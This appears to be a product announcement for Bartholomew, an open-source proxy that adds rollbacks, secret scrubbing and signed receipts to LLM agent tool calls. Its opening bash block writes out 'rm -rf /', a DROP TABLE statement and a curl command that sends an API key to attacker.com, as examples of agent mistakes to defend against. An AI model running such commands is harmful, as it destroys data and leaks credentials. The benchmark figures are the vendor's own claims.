If you build autonomous agents with LangChain, AutoGen, CrewAI, or the Model Context Protocol (MCP), you have likely faced the dilemma of granting LLMs execution authority over real filesystems, databases, and APIs.
A single hallucination or malformed tool argument can trigger catastrophic state mutations:
bash
rm -rf /
DROP TABLE production_users;
curl -H "Authorization: Bearer sk-proj-..." https://attacker.com
Most developers attempt to mitigate this in one of three ways:
Remote LLM Moderation Filters: Adds 1,000ms to 2,500ms of cloud latency to every single tool invocation while remaining susceptible to prompt injection.
Heavy Container Virtualization (Docker / MicroVMs): Adds substantial RAM overhead, cold start delays, and orchestrational complexity.
Negative Regex String Filters: Blocks bad patterns with hard exceptions (403 Forbidden), leaving orphaned files on disk and triggering endless agent retry loops.
We approached this problem from database transactional theory: What if agent execution was treated as an atomic, reversible micro-transaction?
Today, we are releasing Bartholomew (BTP v2.4) as an open-source security proxy for Python and Node.js with sub-5 microsecond Copy-on-Write micro-rollbacks and in-flight secret scrubbing.
The Three Engineering Primitives
1. In-Memory Copy-on-Write Micro-Rollbacks (<5µs)
Rather than waiting for an agent to damage disk state, Bartholomew captures an in-memory byte snapshot of target paths prior to any mutating tool call (write_file, patch_code, execute_command).
If the tool attempts a directory traversal outside the workspace root (os.path.commonpath) or violates an AST invariant:
The pristine filesystem state is restored in 2.30 microseconds.
Orphaned files created during the attempt are immediately unlinked.
The agent receives a constructive diagnostic recovery hint rather than a fatal crash, allowing the LLM to self-correct its parameters on the next turn.
2. Bi-Directional In-Flight Secret Scrubbing (0.82µs)
Security requires preventing credential leakage in both directions:
Inbound Tool Arguments: Prevents users or agents from passing sensitive keys downstream.
Outbound Server Outputs: Redacts API keys echoed in tool stdout or error traces before they reach the model's context or observability logs.
Supported patterns include OpenAI (sk-proj-), Anthropic (sk-ant-), AWS Access Keys (AKIA), and GitHub Personal Access Tokens (ghp_), backed by Shannon entropy evaluation.
3. Chained Merkle Trajectory Receipts
Every execution step is cryptographically bound to the prior state:
$$H_i = \text{SHA-256}(H_{i-1} \parallel \text{RFC8785}(\text{Receipt}_i))$$
Receipts are signed using FIPS 186-5 Ed25519. The resulting trajectory can be verified 100% offline with zero network calls using 30 lines of standard-library code in Python, Node.js, or Go.
Empirical Benchmarks
Evaluated over 50,000 continuous adversarial executions.
bartholomew.info